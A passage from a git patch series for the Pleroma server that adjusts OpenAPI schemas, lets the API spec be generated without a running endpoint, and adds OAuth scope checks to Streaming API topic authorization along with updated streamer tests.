a/lib/pleroma/web/api_spec/operations/emoji_reaction_operation.ex b/lib/pleroma/web/api_spec/operations/emoji_reaction_operation.ex index 1a49fece0..745d41f88 100644 --- a/lib/pleroma/web/api_spec/operations/emoji_reaction_operation.ex +++ b/lib/pleroma/web/api_spec/operations/emoji_reaction_operation.ex @@ -23,7 +23,7 @@ def index_operation do parameters: [ Operation.parameter(:id, :path, FlakeID, "Status ID", required: true), Operation.parameter(:emoji, :path, :string, "Filter by a single unicode emoji", - required: false + required: nil ) ], security: [%{"oAuth" => ["read:statuses"]}], diff --git a/lib/pleroma/web/api_spec/operations/list_operation.ex b/lib/pleroma/web/api_spec/operations/list_operation.ex index 15039052e..f6e73968a 100644 --- a/lib/pleroma/web/api_spec/operations/list_operation.ex +++ b/lib/pleroma/web/api_spec/operations/list_operation.ex @@ -187,8 +187,7 @@ defp add_remove_accounts_request(required) when is_boolean(required) do type: :object, properties: %{ account_ids: %Schema{type: :array, description: "Array of account IDs", items: FlakeID} - }, - required: required && [:account_ids] + } }, required: required ) diff --git a/lib/pleroma/web/api_spec/schemas/chat_message.ex b/lib/pleroma/web/api_spec/schemas/chat_message.ex index bbf2a4427..9d2799618 100644 --- a/lib/pleroma/web/api_spec/schemas/chat_message.ex +++ b/lib/pleroma/web/api_spec/schemas/chat_message.ex @@ -4,6 +4,7 @@ defmodule Pleroma.Web.ApiSpec.Schemas.ChatMessage do alias OpenApiSpex.Schema + alias Pleroma.Web.ApiSpec.Schemas.Emoji require OpenApiSpex @@ -18,7 +19,7 @@ defmodule Pleroma.Web.ApiSpec.Schemas.ChatMessage do chat_id: %Schema{type: :string}, content: %Schema{type: :string, nullable: true}, created_at: %Schema{type: :string, format: :"date-time"}, - emojis: %Schema{type: :array}, + emojis: %Schema{type: :array, items: Emoji}, attachment: %Schema{type: :object, nullable: true}, card: %Schema{ type: :object, diff --git a/lib/pleroma/web/api_spec/schemas/scheduled_status.ex b/lib/pleroma/web/api_spec/schemas/scheduled_status.ex index 0520d0848..addefa9d3 100644 --- a/lib/pleroma/web/api_spec/schemas/scheduled_status.ex +++ b/lib/pleroma/web/api_spec/schemas/scheduled_status.ex @@ -27,9 +27,9 @@ defmodule Pleroma.Web.ApiSpec.Schemas.ScheduledStatus do media_ids: %Schema{type: :array, nullable: true, items: %Schema{type: :string}}, sensitive: %Schema{type: :boolean, nullable: true}, spoiler_text: %Schema{type: :string, nullable: true}, - visibility: %Schema{type: VisibilityScope, nullable: true}, + visibility: %Schema{allOf: [VisibilityScope], nullable: true}, scheduled_at: %Schema{type: :string, format: :"date-time", nullable: true}, - poll: %Schema{type: Poll, nullable: true}, + poll: %Schema{allOf: [Poll], nullable: true}, in_reply_to_id: %Schema{type: :string, nullable: true} } } -- cgit v1.2.3 From 4b12e071ac7ea87c91f6192cc0da90c32e846ca4 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Sat, 19 Sep 2020 00:50:38 +0300 Subject: OpenAPI: make it possible to generate a spec without starting the app Needed for api docs generation on pleroma.social that will come later --- lib/pleroma/web/api_spec.ex | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web/api_spec.ex b/lib/pleroma/web/api_spec.ex index 79fd5f871..93a5273e3 100644 --- a/lib/pleroma/web/api_spec.ex +++ b/lib/pleroma/web/api_spec.ex @@ -13,10 +13,15 @@ defmodule Pleroma.Web.ApiSpec do @impl OpenApi def spec do %OpenApi{ - servers: [ - # Populate the Server info from a phoenix endpoint - OpenApiSpex.Server.from_endpoint(Endpoint) - ], + servers: + if Phoenix.Endpoint.server?(:pleroma, Endpoint) do + [ + # Populate the Server info from a phoenix endpoint + OpenApiSpex.Server.from_endpoint(Endpoint) + ] + else + [] + end, info: %OpenApiSpex.Info{ title: "Pleroma", description: Application.spec(:pleroma, :description) |> to_string(), -- cgit v1.2.3 From 60b025b782eb27b86a791451149b6690431371dc Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Sat, 19 Sep 2020 19:16:55 +0300 Subject: [#2074] OAuth scope checking in Streaming API. --- lib/pleroma/plugs/oauth_scopes_plug.ex | 2 +- lib/pleroma/web/mastodon_api/websocket_handler.ex | 10 +- lib/pleroma/web/streamer/streamer.ex | 70 +++- test/integration/mastodon_websocket_test.exs | 2 +- test/notification_test.exs | 8 +- test/support/data_case.ex | 15 + test/web/streamer/streamer_test.exs | 394 ++++++++++++++-------- 7 files changed, 325 insertions(+), 176 deletions(-) diff --git a/lib/pleroma/plugs/oauth_scopes_plug.ex b/lib/pleroma/plugs/oauth_scopes_plug.ex index efc25b79f..b1a736d78 100644 --- a/lib/pleroma/plugs/oauth_scopes_plug.ex +++ b/lib/pleroma/plugs/oauth_scopes_plug.ex @@ -53,7 +53,7 @@ def drop_auth_info(conn) do |> assign(:token, nil) end - @doc "Filters descendants of supported scopes" + @doc "Keeps those of `scopes` which are descendants of `supported_scopes`" def filter_descendants(scopes, supported_scopes) do Enum.filter( scopes, diff --git a/lib/pleroma/web/mastodon_api/websocket_handler.ex b/lib/pleroma/web/mastodon_api/websocket_handler.ex index cf923ded8..439cdd716 100644 --- a/lib/pleroma/web/mastodon_api/websocket_handler.ex +++ b/lib/pleroma/web/mastodon_api/websocket_handler.ex @@ -23,8 +23,8 @@ def init(%{qs: qs} = req, state) do with params <- Enum.into(:cow_qs.parse_qs(qs), %{}), sec_websocket <- :cowboy_req.header("sec-websocket-protocol", req, nil), access_token <- Map.get(params, "access_token"), - {:ok, user} <- authenticate_request(access_token, sec_websocket), - {:ok, topic} <- Streamer.get_topic(Map.get(params, "stream"), user, params) do + {:ok, user, oauth_token} <- authenticate_request(access_token, sec_websocket), + {:ok, topic} <- Streamer.get_topic(params["stream"], user, oauth_token, params) do req = if sec_websocket do :cowboy_req.set_resp_header("sec-websocket-protocol", sec_websocket, req) @@ -117,7 +117,7 @@ def terminate(reason, _req, state) do # Public streams without authentication. defp authenticate_request(nil, nil) do - {:ok, nil} + {:ok, nil, nil} end # Authenticated streams. @@ -125,9 +125,9 @@ defp authenticate_request(access_token, sec_websocket) do token = access_token || sec_websocket with true <- is_bitstring(token), - %Token{user_id: user_id} <- Repo.get_by(Token, token: token), + oauth_token = %Token{user_id: user_id} <- Repo.get_by(Token, token: token), user = %User{} <- User.get_cached_by_id(user_id) do - {:ok, user} + {:ok, user, oauth_token} else _ -> {:error, :unauthorized} end diff --git a/lib/pleroma/web/streamer/streamer.ex b/lib/pleroma/web/streamer/streamer.ex index d1d70e556..5475f18a6 100644 --- a/lib/pleroma/web/streamer/streamer.ex +++ b/lib/pleroma/web/streamer/streamer.ex @@ -11,10 +11,12 @@ defmodule Pleroma.Web.Streamer do alias Pleroma.Conversation.Participation alias Pleroma.Notification alias Pleroma.Object + alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.CommonAPI + alias Pleroma.Web.OAuth.Token alias Pleroma.Web.StreamerView @mix_env Mix.env() @@ -26,53 +28,87 @@ def registry, do: @registry @user_streams ["user", "user:notification", "direct", "user:pleroma_chat"] @doc "Expands and authorizes a stream, and registers the process for streaming." - @spec get_topic_and_add_socket(stream :: String.t(), User.t() | nil, Map.t() | nil) :: + @spec get_topic_and_add_socket( + stream :: String.t(), + User.t() | nil, + Token.t() | nil, + Map.t() | nil + ) :: {:ok, topic :: String.t()} | {:error, :bad_topic} | {:error, :unauthorized} - def get_topic_and_add_socket(stream, user, params \\ %{}) do - case get_topic(stream, user, params) do + def get_topic_and_add_socket(stream, user, oauth_token, params \\ %{}) do + case get_topic(stream, user, oauth_token, params) do {:ok, topic} -> add_socket(topic, user) error -> error end end @doc "Expand and authorizes a stream" - @spec get_topic(stream :: String.t(), User.t() | nil, Map.t()) :: + @spec get_topic(stream :: String.t(), User.t() | nil, Token.t() | nil, Map.t()) :: {:ok, topic :: String.t()} | {:error, :bad_topic} - def get_topic(stream, user, params \\ %{}) + def get_topic(stream, user, oauth_token, params \\ %{}) # Allow all public steams. - def get_topic(stream, _, _) when stream in @public_streams do + def get_topic(stream, _user, _oauth_token, _params) when stream in @public_streams do {:ok, stream} end # Allow all hashtags streams. - def get_topic("hashtag", _, %{"tag" => tag}) do + def get_topic("hashtag", _user, _oauth_token, %{"tag" => tag} = _params) do {:ok, "hashtag:" <> tag} end # Expand user streams. - def get_topic(stream, %User{} = user, _) when stream in @user_streams do - {:ok, stream <> ":" <> to_string(user.id)} + def get_topic( + stream, + %User{id: user_id} = user, + %Token{user_id: token_user_id} = oauth_token, + _params + ) + when stream in @user_streams and user_id == token_user_id do + # Note: "read" works for all user streams (not mentioning it since it's an ancestor scope) + required_scopes = + if stream == "user:notification" do + ["read:notifications"] + else + ["read:statuses"] + end + + if OAuthScopesPlug.filter_descendants(required_scopes, oauth_token.scopes) == [] do + {:error, :unauthorized} + else + {:ok, stream <> ":" <> to_string(user.id)} + end end - def get_topic(stream, _, _) when stream in @user_streams do + def get_topic(stream, _user, _oauth_token, _params) when stream in @user_streams do {:error, :unauthorized} end # List streams. - def get_topic("list", %User{} = user, %{"list" => id}) do - if Pleroma.List.get(id, user) do - {:ok, "list:" <> to_string(id)} - else - {:error, :bad_topic} + def get_topic( + "list", + %User{id: user_id} = user, + %Token{user_id: token_user_id} = oauth_token, + %{"list" => id} + ) + when user_id == token_user_id do + cond do + OAuthScopesPlug.filter_descendants(["read", "read:lists"], oauth_token.scopes) == [] -> + {:error, :unauthorized} + + Pleroma.List.get(id, user) -> + {:ok, "list:" <> to_string(id)} + + true -> + {:error, :bad_topic} end end - def get_topic("list", _, _) do + def get_topic("list", _user, _oauth_token, _params) do {:error, :unauthorized} end - def get_topic(_, _, _) do + def get_topic(_stream, _user, _oauth_token, _params) do {:error, :bad_topic} end diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs index 76fbc8bda..0f2e6cc2b 100644 --- a/test/integration/mastodon_websocket_test.exs +++ b/test/integration/mastodon_websocket_test.exs @@ -78,7 +78,7 @@ test "receives well formatted events" do Pleroma.Repo.insert( OAuth.App.register_changeset(%OAuth.App{}, %{ client_name: "client", - scopes: ["scope"], + scopes: ["read"], redirect_uris: "url" }) ) diff --git a/test/notification_test.exs b/test/notification_test.exs index a09b08675..f2e0f0b0d 100644 --- a/test/notification_test.exs +++ b/test/notification_test.exs @@ -179,17 +179,19 @@ test "does not create a notification for subscribed users if status is a reply" describe "create_notification" do @tag needs_streamer: true test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do - user = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) task = Task.async(fn -> - Streamer.get_topic_and_add_socket("user", user) + {:ok, _topic} = Streamer.get_topic_and_add_socket("user", user, oauth_token) assert_receive {:render_with_user, _, _, _}, 4_000 end) task_user_notification = Task.async(fn -> - Streamer.get_topic_and_add_socket("user:notification", user) + {:ok, _topic} = + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + assert_receive {:render_with_user, _, _, _}, 4_000 end) diff --git a/test/support/data_case.ex b/test/support/data_case.ex index ba8848952..d5456521c 100644 --- a/test/support/data_case.ex +++ b/test/support/data_case.ex @@ -27,6 +27,21 @@ defmodule Pleroma.DataCase do import Ecto.Query import Pleroma.DataCase use Pleroma.Tests.Helpers + + # Sets up OAuth access with specified scopes + defp oauth_access(scopes, opts \\ []) do + user = + Keyword.get_lazy(opts, :user, fn -> + Pleroma.Factory.insert(:user) + end) + + token = + Keyword.get_lazy(opts, :oauth_token, fn -> + Pleroma.Factory.insert(:oauth_token, user: user, scopes: scopes) + end) + + %{user: user, token: token} + end end end diff --git a/test/web/streamer/streamer_test.exs b/test/web/streamer/streamer_test.exs index d56d74464..185724a9f 100644 --- a/test/web/streamer/streamer_test.exs +++ b/test/web/streamer/streamer_test.exs @@ -21,92 +21,148 @@ defmodule Pleroma.Web.StreamerTest do setup do: clear_config([:instance, :skip_thread_containment]) - describe "get_topic without an user" do + describe "get_topic/_ (unauthenticated)" do test "allows public" do - assert {:ok, "public"} = Streamer.get_topic("public", nil) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil) - assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil) + assert {:ok, "public"} = Streamer.get_topic("public", nil, nil) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil, nil) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil, nil) + assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil, nil) end test "allows hashtag streams" do - assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, %{"tag" => "cofe"}) + assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, nil, %{"tag" => "cofe"}) end test "disallows user streams" do - assert {:error, _} = Streamer.get_topic("user", nil) - assert {:error, _} = Streamer.get_topic("user:notification", nil) - assert {:error, _} = Streamer.get_topic("direct", nil) + assert {:error, _} = Streamer.get_topic("user", nil, nil) + assert {:error, _} = Streamer.get_topic("user:notification", nil, nil) + assert {:error, _} = Streamer.get_topic("direct", nil, nil) end test "disallows list streams" do - assert {:error, _} = Streamer.get_topic("list", nil, %{"list" => 42}) + assert {:error, _} = Streamer.get_topic("list", nil, nil, %{"list" => 42}) end end - describe "get_topic with an user" do - setup do - user = insert(:user) - {:ok, %{user: user}} - end + describe "get_topic/_ (authenticated)" do + setup do: oauth_access(["read"]) + + test "allows public streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + with oauth_token <- [nil, read_oauth_token] do + assert {:ok, "public"} = Streamer.get_topic("public", user, oauth_token) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", user, oauth_token) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", user, oauth_token) - test "allows public streams", %{user: user} do - assert {:ok, "public"} = Streamer.get_topic("public", user) - assert {:ok, "public:local"} = Streamer.get_topic("public:local", user) - assert {:ok, "public:media"} = Streamer.get_topic("public:media", user) - assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", user) + assert {:ok, "public:local:media"} = + Streamer.get_topic("public:local:media", user, oauth_token) + end end - test "allows user streams", %{user: user} do + test "allows user streams (with proper OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_notifications_token} = oauth_access(["read:notifications"], user: user) + %{token: read_statuses_token} = oauth_access(["read:statuses"], user: user) + %{token: badly_scoped_token} = oauth_access(["irrelevant:scope"], user: user) + expected_user_topic = "user:#{user.id}" - expected_notif_topic = "user:notification:#{user.id}" + expected_notification_topic = "user:notification:#{user.id}" expected_direct_topic = "direct:#{user.id}" - assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user) - assert {:ok, ^expected_notif_topic} = Streamer.get_topic("user:notification", user) - assert {:ok, ^expected_direct_topic} = Streamer.get_topic("direct", user) + expected_pleroma_chat_topic = "user:pleroma_chat:#{user.id}" + + for valid_user_token <- [read_oauth_token, read_statuses_token] do + assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user, valid_user_token) + + assert {:ok, ^expected_direct_topic} = + Streamer.get_topic("direct", user, valid_user_token) + + assert {:ok, ^expected_pleroma_chat_topic} = + Streamer.get_topic("user:pleroma_chat", user, valid_user_token) + end + + for invalid_user_token <- [read_notifications_token, badly_scoped_token], + user_topic <- ["user", "direct", "user:pleroma_chat"] do + assert {:error, :unauthorized} = Streamer.get_topic(user_topic, user, invalid_user_token) + end + + for valid_notification_token <- [read_oauth_token, read_notifications_token] do + assert {:ok, ^expected_notification_topic} = + Streamer.get_topic("user:notification", user, valid_notification_token) + end + + for invalid_notification_token <- [read_statuses_token, badly_scoped_token] do + assert {:error, :unauthorized} = + Streamer.get_topic("user:notification", user, invalid_notification_token) + end end - test "allows hashtag streams", %{user: user} do - assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", user, %{"tag" => "cofe"}) + test "allows hashtag streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + for oauth_token <- [nil, read_oauth_token] do + assert {:ok, "hashtag:cofe"} = + Streamer.get_topic("hashtag", user, oauth_token, %{"tag" => "cofe"}) + end end - test "disallows registering to an user stream", %{user: user} do + test "disallows registering to another user's stream", %{user: user, token: read_oauth_token} do another_user = insert(:user) - assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user) - assert {:error, _} = Streamer.get_topic("user:notification:#{another_user.id}", user) - assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user) + assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = + Streamer.get_topic("user:notification:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user, read_oauth_token) end - test "allows list stream that are owned by the user", %{user: user} do + test "allows list stream that are owned by the user (with `read` or `read:lists` scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_lists_token} = oauth_access(["read:lists"], user: user) + %{token: invalid_token} = oauth_access(["irrelevant:scope"], user: user) {:ok, list} = List.create("Test", user) - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user) - assert {:ok, _} = Streamer.get_topic("list", user, %{"list" => list.id}) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, read_oauth_token) + + for valid_token <- [read_oauth_token, read_lists_token] do + assert {:ok, _} = Streamer.get_topic("list", user, valid_token, %{"list" => list.id}) + end + + assert {:error, _} = Streamer.get_topic("list", user, invalid_token, %{"list" => list.id}) end - test "disallows list stream that are not owned by the user", %{user: user} do + test "disallows list stream that are not owned by the user", %{user: user, token: oauth_token} do another_user = insert(:user) {:ok, list} = List.create("Test", another_user) - assert {:error, _} = Streamer.get_topic("list:#{list.id}", user) - assert {:error, _} = Streamer.get_topic("list", user, %{"list" => list.id}) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, oauth_token) + assert {:error, _} = Streamer.get_topic("list", user, oauth_token, %{"list" => list.id}) end end describe "user streams" do setup do - user = insert(:user) + %{user: user, token: token} = oauth_access(["read"]) notify = insert(:notification, user: user, activity: build(:note_activity)) - {:ok, %{user: user, notify: notify}} + {:ok, %{user: user, notify: notify, token: token}} end - test "it streams the user's post in the 'user' stream", %{user: user} do - Streamer.get_topic_and_add_socket("user", user) + test "it streams the user's post in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + assert_receive {:render_with_user, _, _, ^activity} refute Streamer.filtered_by_user?(user, activity) end - test "it streams boosts of the user in the 'user' stream", %{user: user} do - Streamer.get_topic_and_add_socket("user", user) + test "it streams boosts of the user in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) @@ -117,9 +173,10 @@ test "it streams boosts of the user in the 'user' stream", %{user: user} do end test "it does not stream announces of the user's own posts in the 'user' stream", %{ - user: user + user: user, + token: oauth_token } do - Streamer.get_topic_and_add_socket("user", user) + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) @@ -129,9 +186,10 @@ test "it does not stream announces of the user's own posts in the 'user' stream" end test "it does stream notifications announces of the user's own posts in the 'user' stream", %{ - user: user + user: user, + token: oauth_token } do - Streamer.get_topic_and_add_socket("user", user) + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) @@ -145,8 +203,11 @@ test "it does stream notifications announces of the user's own posts in the 'use refute Streamer.filtered_by_user?(user, notification) end - test "it streams boosts of mastodon user in the 'user' stream", %{user: user} do - Streamer.get_topic_and_add_socket("user", user) + test "it streams boosts of mastodon user in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) other_user = insert(:user) {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) @@ -164,21 +225,34 @@ test "it streams boosts of mastodon user in the 'user' stream", %{user: user} do refute Streamer.filtered_by_user?(user, announce) end - test "it sends notify to in the 'user' stream", %{user: user, notify: notify} do - Streamer.get_topic_and_add_socket("user", user) + test "it sends notify to in the 'user' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) Streamer.stream("user", notify) + assert_receive {:render_with_user, _, _, ^notify} refute Streamer.filtered_by_user?(user, notify) end - test "it sends notify to in the 'user:notification' stream", %{user: user, notify: notify} do - Streamer.get_topic_and_add_socket("user:notification", user) + test "it sends notify to in the 'user:notification' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) Streamer.stream("user:notification", notify) + assert_receive {:render_with_user, _, _, ^notify} refute Streamer.filtered_by_user?(user, notify) end - test "it sends chat messages to the 'user:pleroma_chat' stream", %{user: user} do + test "it sends chat messages to the 'user:pleroma_chat' stream", %{ + user: user, + token: oauth_token + } do other_user = insert(:user) {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") @@ -187,7 +261,7 @@ test "it sends chat messages to the 'user:pleroma_chat' stream", %{user: user} d cm_ref = MessageReference.for_chat_and_object(chat, object) cm_ref = %{cm_ref | chat: chat, object: object} - Streamer.get_topic_and_add_socket("user:pleroma_chat", user) + Streamer.get_topic_and_add_socket("user:pleroma_chat", user, oauth_token) Streamer.stream("user:pleroma_chat", {user, cm_ref}) text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) @@ -196,7 +270,7 @@ test "it sends chat messages to the 'user:pleroma_chat' stream", %{user: user} d assert_receive {:text, ^text} end - test "it sends chat messages to the 'user' stream", %{user: user} do + test "it sends chat messages to the 'user' stream", %{user: user, token: oauth_token} do other_user = insert(:user) {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") @@ -205,7 +279,7 @@ test "it sends chat messages to the 'user' stream", %{user: user} do cm_ref = MessageReference.for_chat_and_object(chat, object) cm_ref = %{cm_ref | chat: chat, object: object} - Streamer.get_topic_and_add_socket("user", user) + Streamer.get_topic_and_add_socket("user", user, oauth_token) Streamer.stream("user", {user, cm_ref}) text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) @@ -214,7 +288,10 @@ test "it sends chat messages to the 'user' stream", %{user: user} do assert_receive {:text, ^text} end - test "it sends chat message notifications to the 'user:notification' stream", %{user: user} do + test "it sends chat message notifications to the 'user:notification' stream", %{ + user: user, + token: oauth_token + } do other_user = insert(:user) {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey") @@ -223,19 +300,21 @@ test "it sends chat message notifications to the 'user:notification' stream", %{ Repo.get_by(Pleroma.Notification, user_id: user.id, activity_id: create_activity.id) |> Repo.preload(:activity) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) Streamer.stream("user:notification", notify) + assert_receive {:render_with_user, _, _, ^notify} refute Streamer.filtered_by_user?(user, notify) end test "it doesn't send notify to the 'user:notification' stream when a user is blocked", %{ - user: user + user: user, + token: oauth_token } do blocked = insert(:user) {:ok, _user_relationship} = User.block(user, blocked) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, activity} = CommonAPI.post(user, %{status: ":("}) {:ok, _} = CommonAPI.favorite(blocked, activity.id) @@ -244,14 +323,15 @@ test "it doesn't send notify to the 'user:notification' stream when a user is bl end test "it doesn't send notify to the 'user:notification' stream when a thread is muted", %{ - user: user + user: user, + token: oauth_token } do user2 = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) {:ok, _} = CommonAPI.add_mute(user, activity) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) @@ -260,12 +340,13 @@ test "it doesn't send notify to the 'user:notification' stream when a thread is end test "it sends favorite to 'user:notification' stream'", %{ - user: user + user: user, + token: oauth_token } do user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) assert_receive {:render_with_user, _, "notification.json", notif} @@ -274,13 +355,14 @@ test "it sends favorite to 'user:notification' stream'", %{ end test "it doesn't send the 'user:notification' stream' when a domain is blocked", %{ - user: user + user: user, + token: oauth_token } do user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) {:ok, user} = User.block_domain(user, "hecking-lewd-place.com") {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) refute_receive _ @@ -288,7 +370,8 @@ test "it doesn't send the 'user:notification' stream' when a domain is blocked", end test "it sends follow activities to the 'user:notification' stream", %{ - user: user + user: user, + token: oauth_token } do user_url = user.ap_id user2 = insert(:user) @@ -303,7 +386,7 @@ test "it sends follow activities to the 'user:notification' stream", %{ %Tesla.Env{status: 200, body: body} end) - Streamer.get_topic_and_add_socket("user:notification", user) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) {:ok, _follower, _followed, follow_activity} = CommonAPI.follow(user2, user) assert_receive {:render_with_user, _, "notification.json", notif} @@ -312,51 +395,53 @@ test "it sends follow activities to the 'user:notification' stream", %{ end end - test "it sends to public authenticated" do - user = insert(:user) - other_user = insert(:user) + describe "public streams" do + test "it sends to public (authenticated)" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) - Streamer.get_topic_and_add_socket("public", other_user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) - {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) - assert_receive {:render_with_user, _, _, ^activity} - refute Streamer.filtered_by_user?(user, activity) - end + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(other_user, activity) + end - test "works for deletions" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + test "it sends to public (unauthenticated)" do + user = insert(:user) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", nil, nil) - {:ok, _} = CommonAPI.delete(activity.id, other_user) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) - end + {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) + assert %{"id" => ^activity_id} = Jason.decode!(payload) - test "it sends to public unauthenticated" do - user = insert(:user) + {:ok, _} = CommonAPI.delete(activity.id, user) + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end - Streamer.get_topic_and_add_socket("public", nil) + test "handles deletions" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) - {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) - activity_id = activity.id - assert_receive {:text, event} - assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) - assert %{"id" => ^activity_id} = Jason.decode!(payload) + Streamer.get_topic_and_add_socket("public", user, oauth_token) - {:ok, _} = CommonAPI.delete(activity.id, user) - assert_receive {:text, event} - assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + {:ok, _} = CommonAPI.delete(activity.id, other_user) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end end - describe "thread_containment" do + describe "thread_containment/2" do test "it filters to user if recipients invalid and thread containment is enabled" do Pleroma.Config.put([:instance, :skip_thread_containment], false) author = insert(:user) - user = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) User.follow(user, author, :follow_accept) activity = @@ -368,7 +453,7 @@ test "it filters to user if recipients invalid and thread containment is enabled ) ) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) Streamer.stream("public", activity) assert_receive {:render_with_user, _, _, ^activity} assert Streamer.filtered_by_user?(user, activity) @@ -377,7 +462,7 @@ test "it filters to user if recipients invalid and thread containment is enabled test "it sends message if recipients invalid and thread containment is disabled" do Pleroma.Config.put([:instance, :skip_thread_containment], true) author = insert(:user) - user = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) User.follow(user, author, :follow_accept) activity = @@ -389,7 +474,7 @@ test "it sends message if recipients invalid and thread containment is disabled" ) ) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) Streamer.stream("public", activity) assert_receive {:render_with_user, _, _, ^activity} @@ -400,6 +485,7 @@ test "it sends message if recipients invalid and thread containment is enabled b Pleroma.Config.put([:instance, :skip_thread_containment], false) author = insert(:user) user = insert(:user, skip_thread_containment: true) + %{token: oauth_token} = oauth_access(["read"], user: user) User.follow(user, author, :follow_accept) activity = @@ -411,7 +497,7 @@ test "it sends message if recipients invalid and thread containment is enabled b ) ) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) Streamer.stream("public", activity) assert_receive {:render_with_user, _, 